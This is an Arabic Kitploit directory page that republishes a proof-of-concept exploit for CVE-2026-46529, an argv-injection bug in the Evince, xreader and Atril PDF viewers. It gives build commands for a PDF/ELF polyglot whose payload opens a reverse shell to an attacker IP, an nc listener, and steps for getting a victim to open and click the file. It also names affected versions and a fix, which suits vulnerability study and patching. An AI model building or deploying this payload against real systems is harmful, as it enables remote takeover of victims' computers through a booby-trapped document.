Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-46529 — استغلال RCE لـ Evince/xreader/Atril لثغرة CVE-2026-46529 | Kitploit
أدوات/GitHubGitHub/n1et/cve-2026-46529
تحليل الثغرات الأمنيةالاستغلالشيل كوداستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمرتطوير الحمولاتاستغلال الملفات الثنائية
GitHubn1et/cve-2026-46529

CVE-2026-46529

استغلال RCE لـ Evince/xreader/Atril لثغرة CVE-2026-46529

135منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

RCE عبر حقن وسائط argv في PDF (CVE-2026-46529) (atril/xreader/evince)

إثبات مفهوم عملي لثغرة حقن وسائط argv في ev_spawn() (shell/ev-application.c). نقرة واحدة في أي مكان على الصفحة المعروضة من ملف PDF مُصمَّم بعناية تؤدي إلى تنفيذ تعليمات برمجية عشوائية بصلاحية المستخدم الذي يشغّل العارض.

يستخدم هذا الإصدار تقنية استبدال %f: يكتشف العارض نفسه مسار هدف dlopen في وقت التشغيل، لذا لا يحتاج المهاجم إلى أي معرفة بمكان هبوط polyglot على نظام ملفات الضحية (لا اسم مستخدم، ولا $HOME, ولا مجلد تنزيلات).

إثبات المفهوم

https://github.com/user-attachments/assets/c12aaa77-4dd8-4dbc-b039-a510e9fbfced

محتويات هذه الحزمة

الملفالغرض
exploit.shغلاف يعمل مرة واحدة: يجمع ويبني polyglot بأمر واحد.
evil_gtk_module.cمصدر الحمولة. المُنشئ يفتح قشرة عكسية وينشئ ملف علامة في /tmp/PWNED_atril_<pid>.txt.
build_polyglot.pyباني polyglot. يجمع evil.so المترجم مع نص PDF أدنى يحتوي على إجراء /GoToR وتهريب %f.

يجب أن تبني على مضيف Linux يطابق بنية الضحية. evil_gtk_module.c محمول عبر البنيات؛ ملف ELF الناتج خاص بالبنية. لا يمكن لنظام macOS إنتاج .so لأن مُحمّل Apple لا يقبل رايات GNU build-id.

الثغرة في فقرة واحدة

تقوم ev_spawn() ببناء سطر أوامر إطلاق العملية عن طريق إقحام سلسلتي /D (الوجهة المسماة) و/F (مواصفة الملف) من PDF دون g_shell_quote. يُعاد تحليل النتيجة إلى argv عبر g_app_info_create_from_commandline → g_shell_parse_argv. إن صياغة /D بمسافة بادئة و--gtk-module=... تجعل العارض الفرعي المسبوق يتلقى --gtk-module= كعنصر argv مستقل، والذي يكرمه gtk_init() عبر g_module_open() (أي dlopen). أي مُنشئ في ELF المحمّل يُنفَّذ بصلاحية الضحية.

الـ polyglot هو ملف واحد يكون في نفس الوقت ملف PDF صالح ومكتبة مشتركة ELF صالحة — يتم طبع علامة %PDF-1.4 داخل خانة SHA1 الخاصة بـ.note.gnu.build-id (الإزاحة 0x1d8)، والتي يقبلها poppler لأنه يفحص أول 1024 بايت بحثًا عن العلامة السحرية، ويقبلها ld.so لأن محتويات build-id معلوماتية فقط.

حيلة %f (في هذا الإصدار) تسد القطعة الأخيرة. بدلاً من ترميز مسار polyglot داخل PDF، نقوم بتضمين العنصر النائب %f من glib. يستبدل g_app_info_launch_uris من glib الـ%f بالصيغة المحلية للمسار من URI الذي حله atril في وقت التشغيل عبر g_path_get_dirname(source_uri) + /F.basename. ينتهي argv للطفل المسبوق باحتواء --gtk-module=<actual-runtime-path>، فينجح dlopen، ونحصل على RCE.

يتم تعيين /F إلى <basename>?1 بدلاً من <basename> فقط لأن ev_application_open_uri_at_dest() يقوم بدائرة قصر ويتنقل فقط (بدلاً من الإطلاق) عندما يساوي URI الخاص بـ/F الذي تم حله URI المصدر. سلسلة الاستعلام اللاحقة تجعل URI مميزًا؛ ويقوم g_filename_from_uri من glib بإزالتها عند بناء %f.

كيفية إعادة الإنتاج

بدء سريع

root@kitploit:~
./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444

الناتج: report.pdf مع تضمين هدف القشرة العكسية. انشره إلى الضحية بنفس الاسم الأساسي (أي مجلد)، شغّل مستمعًا، واطلب منهم فتحه في atril والنقر في أي مكان على الصفحة.

root@kitploit:~
# Attacker:
nc -lvnp 4444

# Victim:
atril /any/where/report.pdf
# click anywhere on the rendered page → shell back

الاسم الأساسي المضمن في /F مشتق من اسم ملف الإخراج، لذا يتوقع polyglot أن يُنشر باسم report.pdf. لا يهم المجلد — atril يحل المسار الكامل في وقت التشغيل عبر استبدال %f. يغطي تعليق الرابط كامل MediaBox، لذا أي نقرة تشغّل الإجراء. كما يُكتب ملف علامة إلى /tmp/PWNED_atril_<pid>.txt.

جميع خيارات exploit.sh

root@kitploit:~
-o, --output FILE  Output PDF path (default: polyglot.pdf)
--ip IP            Reverse shell target IP   (default: 127.0.0.1)
--port PORT        Reverse shell target port (default: 9000)
--cc COMPILER      C compiler                (default: gcc, env: CC)
--keep-so          Don't delete evil.so after build
-h, --help         Show usage

مثال على الترجمة المتبادلة (بناء polyglot لبنية aarch64 على مضيف x86_64):

root@kitploit:~
CC=aarch64-linux-gnu-gcc ./exploit.sh -o x.pdf --ip 10.0.0.5 --port 4444

البناء اليدوي (بدون exploit.sh)

إذا كنت تريد تحكمًا كاملًا في كل خطوة:

  1. قم بترجمة evil.so مع عنوان IP والمنفذ الخاصين بك.

    root@kitploit:~
    gcc -shared -fPIC -Wl,--build-id=sha1 \
        -DATTACKER_IP='"192.168.1.5"' \
        -DATTACKER_PORT='"4444"' \
        -o evil.so evil_gtk_module.c
    
  2. قم ببناء polyglot.

    root@kitploit:~
    python3 build_polyglot.py evil.so <output.pdf>
    

    الاسم الأساسي المضمن في /F مشتق من اسم ملف الإخراج. انشر polyglot على الضحية بنفس الاسم الأساسي — لا يهم المجلد، atril يحله في وقت التشغيل.

البرامج المتأثرة

تم تأكيد:

  • atril < 1.28.4 (سطح مكتب MATE)
  • xreader < 4.6.4 (سطح مكتب Cinnamon، فرع من atril)
  • evince < 48.4 (سطح مكتب GNOME، المنبع)

الكود القابل للاستغلال (ev_spawn ومسار فتح /GoToR) مشترك بين الثلاثة. لدى evince المنبع نفس العلة؛ الاختلاف الوحيد في إصدارات evince الأحدث هو أن GTK4 أسقط راية سطر الأوامر --gtk-module=، مما يغلق هذا المصب dlopen المحدد. إصدارات evince المبنية على GTK3 (معظم توزيعات LTS وقت كتابة هذا النص) تظل قابلة للاستغلال.

الإصدارات المتأثرة والإصلاح

العلة موجودة منذ أوائل عام 2010 عندما كُتب بناء سطر الأوامر ev_spawn. الإصلاح مباشر: لف كل مكوّن يتحكم به المهاجم في g_shell_quote قبل g_string_append_printf، أو استخدم تمرير argv كقائمة إلى g_spawn_async (تجنبًا لجولة تحليل الصدفة تمامًا).

تحذيرات

  • الحفاظ على اسم الملف. يجب أن يطابق الاسم الأساسي المضمن في /F اسم الملف الذي يحمله polyglot على قرص الضحية عند لحظة التفجير. إذا أعاد الضحية تسمية الملف قبل فتحه، يحل atril /F إلى مسار غير موجود ويفشل dlopen.

  • GTK4. أزالت إصدارات evince الأحدث المبنية على GTK4 راية سطر الأوامر --gtk-module=، مما يغلق هذا المصب dlopen المحدد. حقن argv نفسه ما زال موجودًا — فقط مسار الاستغلال المحدد هذا يتم تخفيفه بواسطة GTK4.

اكتُشف بواسطة

J.Medeiros

تنزيل الأداة